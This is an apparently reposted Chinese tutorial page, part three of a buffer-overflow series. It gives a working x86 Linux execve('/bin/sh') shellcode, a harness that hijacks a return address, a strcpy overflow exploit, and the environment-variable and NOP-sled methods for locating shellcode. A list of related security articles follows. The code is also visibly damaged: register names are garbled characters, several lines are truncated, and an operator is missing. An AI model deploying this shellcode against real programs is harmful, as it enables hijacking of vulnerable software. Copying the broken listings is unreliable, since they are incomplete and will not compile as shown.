緩沖區(qū)溢出解密三
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:04:05 作者:佚名
我要評(píng)論

如何執(zhí)行 /bin/sh?
在C中,spawn出一個(gè)shell的代碼可能象這樣:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, N
那么,這里就是完整的shell代碼:
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
最后測(cè)試我們的shell代碼:
shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯,它生效了。上面我們所做的是,增加ret的地址2個(gè)雙字(8字節(jié)),因而就到了main()的返回地址存儲(chǔ)的內(nèi)存位置。接著,因?yàn)閞et相應(yīng)的地址現(xiàn)在是RET,我們把字符串sc(就是我們的攻擊代碼)的地址存到ret。實(shí)際上,我們?cè)谶@里改變了返回地址的值,而這個(gè)返回地址就指向了sc[]。當(dāng)main()發(fā)送RET時(shí),sc的地址寫到EIP中了,接著,CPU開始在這執(zhí)行指令,造成了/bin/sh的執(zhí)行。 寫本地緩沖區(qū)溢出漏洞利用程序
現(xiàn)在,讓我們看看下面的程序:
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i
瞧!就是它了!我們做了什么?在for循環(huán)里面,我們拷貝了我們的shellcode字符串的地址。由于地址是32位(4字節(jié)),我們以4為步長(zhǎng)增加i。接著,在main()里,當(dāng)我們把有我們shellcode地址的large_str拷到實(shí)際只能容納12字節(jié)的foo,strcpy沒有邊界檢查,而且一直拷貝到main的返回地址。接著,當(dāng)strcpy指令發(fā)送到RET,我們shellcode的地址已經(jīng)被POP進(jìn)去了,而且放入了EIP。接著它就被執(zhí)行了。這里有一件事是:strcpy沒有溢出它的緩沖區(qū),它溢出了main()的緩沖區(qū),因此覆蓋了main()的返回地址。我們的shell在main()返回的時(shí)候開始,而不是strcpy返回的時(shí)候。
上面的victim.c是我們的程序。我們知道我們的shellcode跳轉(zhuǎn)的地址。如果我們要求利用另外程序的緩沖區(qū)又該如何去做呢?我們不能預(yù)先知道內(nèi)存的布局,不是嗎?這也意味著我們不知道我們的shellcode的地址。我們現(xiàn)在該怎么做呢?首先,我們必須用某些途徑把shellcode植入到有弱點(diǎn)的程序,而且無(wú)論怎樣我們必須得到shellcode的地址。當(dāng)我們談?wù)摫镜芈┒蠢脮r(shí),有兩種方法。
1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介紹的,我們把我們的shellcode放置到有缺陷程序的緩沖區(qū),而且嘗試著猜測(cè)到我們漏洞利用程序的ESP偏移量。2.這第二個(gè)方式更加簡(jiǎn)單和聰明。通過(guò)這種方法,我們能知道我們shellcode的地址!這真是太好了!怎么做?看這個(gè):如果你在一個(gè)linux ELF二進(jìn)制文件第一次裝入內(nèi)存的時(shí)候通過(guò)gdb看它的高位地址,你將看到象這樣的一些東西:
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . | 看上面的圖,我們都會(huì)同意我們能計(jì)算最后一個(gè)環(huán)境變量地址。它是:
envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
除去一些不必要的計(jì)算,這里是最終的結(jié)果:
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你還記得我們給execve提供一個(gè)環(huán)境指針嗎?這有沒有讓你想起什么?對(duì)了,我們可以通過(guò)這個(gè)環(huán)境指針把我們的shellcode傳給漏洞程序,并且計(jì)算它的地址。這意味著我們完全知道我們需要寫什么地址到漏洞緩沖區(qū)。
計(jì)算我們的shellcode 地址的公式:
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中討論的在外面被廣泛使用的方法,多少有點(diǎn)比我們的環(huán)境變量技術(shù)難得多。關(guān)于細(xì)節(jié)你們可以看Aleph1的文章,Smashing the Stack for Fun and Profit。
一般來(lái)說(shuō),在這個(gè)方法中,我們把”NOP”指令(NOP)放在緩沖區(qū)的開始。NOP之后,我們放置我們的shellcode,接著是這個(gè)shellcode的地址。
如我前面所說(shuō)的,既然我們不知道我們shellcode的準(zhǔn)確地址,我們?cè)诰彌_區(qū)開頭填一些NOP指令增加我們跳到我們的shellcode附近一些位置的可能性。
相關(guān)文章
- “CMOS密碼”就是通常所說(shuō)的“開機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過(guò)的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來(lái)了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無(wú)法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時(shí)會(huì)采用 Windows 自帶的 BitLocker 加密工具對(duì)電腦磁盤分區(qū)進(jìn)行加密。但有些人加密后就會(huì)忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買臺(tái)量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁(yè)后門。黑客通常會(huì)通過(guò)它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來(lái)看看吧2016-09-19針對(duì)Linux系統(tǒng)全盤加密的啟動(dòng)攻擊
本文討論了針對(duì)Linux系統(tǒng)全盤加密的冷啟動(dòng)攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對(duì)日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問(wèn)題。其實(shí),針對(duì)內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17